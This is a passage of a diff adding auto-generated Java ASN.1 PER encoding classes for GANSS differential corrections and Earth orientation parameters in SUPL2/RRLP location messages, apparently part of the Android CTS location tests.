+ public static GANSSDiffCorrections fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDiffCorrections result = new GANSSDiffCorrections();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDiffCorrections from encoded stream.
+ */
+ public static GANSSDiffCorrections fromPerAligned(byte[] encodedBytes) {
+ GANSSDiffCorrections result = new GANSSDiffCorrections();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSDiffCorrections.dganssRefTimeType dganssRefTime_;
+ public GANSSDiffCorrections.dganssRefTimeType getDganssRefTime() {
+ return dganssRefTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDiffCorrections.dganssRefTimeType
+ */
+ public void setDganssRefTime(Asn1Object value) {
+ this.dganssRefTime_ = (GANSSDiffCorrections.dganssRefTimeType) value;
+ }
+ public GANSSDiffCorrections.dganssRefTimeType setDganssRefTimeToNewInstance() {
+ dganssRefTime_ = new GANSSDiffCorrections.dganssRefTimeType();
+ return dganssRefTime_;
+ }
+
+ private SeqOfSgnTypeElement sgnTypeList_;
+ public SeqOfSgnTypeElement getSgnTypeList() {
+ return sgnTypeList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfSgnTypeElement
+ */
+ public void setSgnTypeList(Asn1Object value) {
+ this.sgnTypeList_ = (SeqOfSgnTypeElement) value;
+ }
+ public SeqOfSgnTypeElement setSgnTypeListToNewInstance() {
+ sgnTypeList_ = new SeqOfSgnTypeElement();
+ return sgnTypeList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getDganssRefTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDganssRefTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setDganssRefTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDiffCorrections.dganssRefTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dganssRefTime : "
+ + getDganssRefTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSgnTypeList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSgnTypeList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSgnTypeListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfSgnTypeElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sgnTypeList : "
+ + getSgnTypeList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dganssRefTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_dganssRefTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dganssRefTimeType() {
+ super();
+ setValueRange("0", "119");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dganssRefTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dganssRefTimeType != null) {
+ return ImmutableList.of(TAG_dganssRefTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dganssRefTimeType from encoded stream.
+ */
+ public static dganssRefTimeType fromPerUnaligned(byte[] encodedBytes) {
+ dganssRefTimeType result = new dganssRefTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dganssRefTimeType from encoded stream.
+ */
+ public static dganssRefTimeType fromPerAligned(byte[] encodedBytes) {
+ dganssRefTimeType result = new dganssRefTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dganssRefTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSDiffCorrections = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
new file mode 100755
index 0000000..b8df2e8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSDiffCorrectionsValidityPeriod
+ extends Asn1SequenceOf<DGANSSExtensionSgnTypeElement> {
+ //
+
+ private static final Asn1Tag TAG_GANSSDiffCorrectionsValidityPeriod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDiffCorrectionsValidityPeriod() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDiffCorrectionsValidityPeriod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDiffCorrectionsValidityPeriod != null) {
+ return ImmutableList.of(TAG_GANSSDiffCorrectionsValidityPeriod);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDiffCorrectionsValidityPeriod from encoded stream.
+ */
+ public static GANSSDiffCorrectionsValidityPeriod fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDiffCorrectionsValidityPeriod result = new GANSSDiffCorrectionsValidityPeriod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDiffCorrectionsValidityPeriod from encoded stream.
+ */
+ public static GANSSDiffCorrectionsValidityPeriod fromPerAligned(byte[] encodedBytes) {
+ GANSSDiffCorrectionsValidityPeriod result = new GANSSDiffCorrectionsValidityPeriod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public DGANSSExtensionSgnTypeElement createAndAddValue() {
+ DGANSSExtensionSgnTypeElement value = new DGANSSExtensionSgnTypeElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSDiffCorrectionsValidityPeriod = [\n");
+ final String internalIndent = indent + " ";
+ for (DGANSSExtensionSgnTypeElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
new file mode 100755
index 0000000..c3dff44
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
@@ -0,0 +1,1152 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEarthOrientParam extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEarthOrientParam
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEarthOrientParam() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEarthOrientParam;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEarthOrientParam != null) {
+ return ImmutableList.of(TAG_GANSSEarthOrientParam);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEarthOrientParam from encoded stream.
+ */
+ public static GANSSEarthOrientParam fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEarthOrientParam result = new GANSSEarthOrientParam();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEarthOrientParam from encoded stream.
+ */
+ public static GANSSEarthOrientParam fromPerAligned(byte[] encodedBytes) {
+ GANSSEarthOrientParam result = new GANSSEarthOrientParam();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSEarthOrientParam.teopType teop_;
+ public GANSSEarthOrientParam.teopType getTeop() {
+ return teop_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.teopType
+ */
+ public void setTeop(Asn1Object value) {
+ this.teop_ = (GANSSEarthOrientParam.teopType) value;
+ }
+ public GANSSEarthOrientParam.teopType setTeopToNewInstance() {
+ teop_ = new GANSSEarthOrientParam.teopType();
+ return teop_;
+ }
+
+ private GANSSEarthOrientParam.pmXType pmX_;
+ public GANSSEarthOrientParam.pmXType getPmX() {
+ return pmX_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.pmXType
+ */
+ public void setPmX(Asn1Object value) {
+ this.pmX_ = (GANSSEarthOrientParam.pmXType) value;
+ }
+ public GANSSEarthOrientParam.pmXType setPmXToNewInstance() {
+ pmX_ = new GANSSEarthOrientParam.pmXType();
+ return pmX_;
+ }
+
+ private GANSSEarthOrientParam.pmXdotType pmXdot_;
+ public GANSSEarthOrientParam.pmXdotType getPmXdot() {
+ return pmXdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.pmXdotType
+ */
+ public void setPmXdot(Asn1Object value) {
+ this.pmXdot_ = (GANSSEarthOrientParam.pmXdotType) value;
+ }
+ public GANSSEarthOrientParam.pmXdotType setPmXdotToNewInstance() {
+ pmXdot_ = new GANSSEarthOrientParam.pmXdotType();
+ return pmXdot_;
+ }
+
+ private GANSSEarthOrientParam.pmYType pmY_;
+ public GANSSEarthOrientParam.pmYType getPmY() {
+ return pmY_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.pmYType
+ */
+ public void setPmY(Asn1Object value) {
+ this.pmY_ = (GANSSEarthOrientParam.pmYType) value;
+ }
+ public GANSSEarthOrientParam.pmYType setPmYToNewInstance() {
+ pmY_ = new GANSSEarthOrientParam.pmYType();
+ return pmY_;
+ }
+
+ private GANSSEarthOrientParam.pmYdotType pmYdot_;
+ public GANSSEarthOrientParam.pmYdotType getPmYdot() {
+ return pmYdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.pmYdotType
+ */
+ public void setPmYdot(Asn1Object value) {
+ this.pmYdot_ = (GANSSEarthOrientParam.pmYdotType) value;
+ }
+ public GANSSEarthOrientParam.pmYdotType setPmYdotToNewInstance() {
+ pmYdot_ = new GANSSEarthOrientParam.pmYdotType();
+ return pmYdot_;
+ }
+
+ private GANSSEarthOrientParam.deltaUT1Type deltaUT1_;
+ public GANSSEarthOrientParam.deltaUT1Type getDeltaUT1() {
+ return deltaUT1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.deltaUT1Type
+ */
+ public void setDeltaUT1(Asn1Object value) {
+ this.deltaUT1_ = (GANSSEarthOrientParam.deltaUT1Type) value;
+ }
+ public GANSSEarthOrientParam.deltaUT1Type setDeltaUT1ToNewInstance() {
+ deltaUT1_ = new GANSSEarthOrientParam.deltaUT1Type();
+ return deltaUT1_;
+ }
+
+ private GANSSEarthOrientParam.deltaUT1dotType deltaUT1dot_;
+ public GANSSEarthOrientParam.deltaUT1dotType getDeltaUT1dot() {
+ return deltaUT1dot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam.deltaUT1dotType
+ */
+ public void setDeltaUT1dot(Asn1Object value) {
+ this.deltaUT1dot_ = (GANSSEarthOrientParam.deltaUT1dotType) value;
+ }
+ public GANSSEarthOrientParam.deltaUT1dotType setDeltaUT1dotToNewInstance() {
+ deltaUT1dot_ = new GANSSEarthOrientParam.deltaUT1dotType();
+ return deltaUT1dot_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTeop() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTeop();
+ }
+
+ @Override public void setToNewInstance() {
+ setTeopToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.teopType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "teop : "
+ + getTeop().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPmX() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPmX();
+ }
+
+ @Override public void setToNewInstance() {
+ setPmXToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.pmXType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pmX : "
+ + getPmX().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getPmXdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPmXdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setPmXdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.pmXdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pmXdot : "
+ + getPmXdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPmY() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPmY();
+ }
+
+ @Override public void setToNewInstance() {
+ setPmYToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.pmYType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pmY : "
+ + getPmY().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getPmYdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPmYdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setPmYdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.pmYdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pmYdot : "
+ + getPmYdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaUT1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaUT1();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaUT1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.deltaUT1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaUT1 : "
+ + getDeltaUT1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaUT1dot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaUT1dot();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaUT1dotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEarthOrientParam.deltaUT1dotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaUT1dot : "
+ + getDeltaUT1dot().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class teopType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_teopType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public teopType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_teopType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_teopType != null) {
+ return ImmutableList.of(TAG_teopType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new teopType from encoded stream.
+ */
+ public static teopType fromPerUnaligned(byte[] encodedBytes) {
+ teopType result = new teopType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new teopType from encoded stream.
+ */
+ public static teopType fromPerAligned(byte[] encodedBytes) {
+ teopType result = new teopType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "teopType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pmXType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pmXType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pmXType() {
+ super();
+ setValueRange("-1048576", "1048575");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pmXType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pmXType != null) {
+ return ImmutableList.of(TAG_pmXType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pmXType from encoded stream.
+ */
+ public static pmXType fromPerUnaligned(byte[] encodedBytes) {
+ pmXType result = new pmXType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pmXType from encoded stream.
+ */
+ public static pmXType fromPerAligned(byte[] encodedBytes) {
+ pmXType result = new pmXType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pmXType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pmXdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pmXdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pmXdotType() {
+ super();
+ setValueRange("-16384", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pmXdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pmXdotType != null) {
+ return ImmutableList.of(TAG_pmXdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pmXdotType from encoded stream.
+ */
+ public static pmXdotType fromPerUnaligned(byte[] encodedBytes) {
+ pmXdotType result = new pmXdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pmXdotType from encoded stream.
+ */
+ public static pmXdotType fromPerAligned(byte[] encodedBytes) {
+ pmXdotType result = new pmXdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pmXdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pmYType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pmYType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pmYType() {
+ super();
+ setValueRange("-1048576", "1048575");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pmYType;
+ }
+
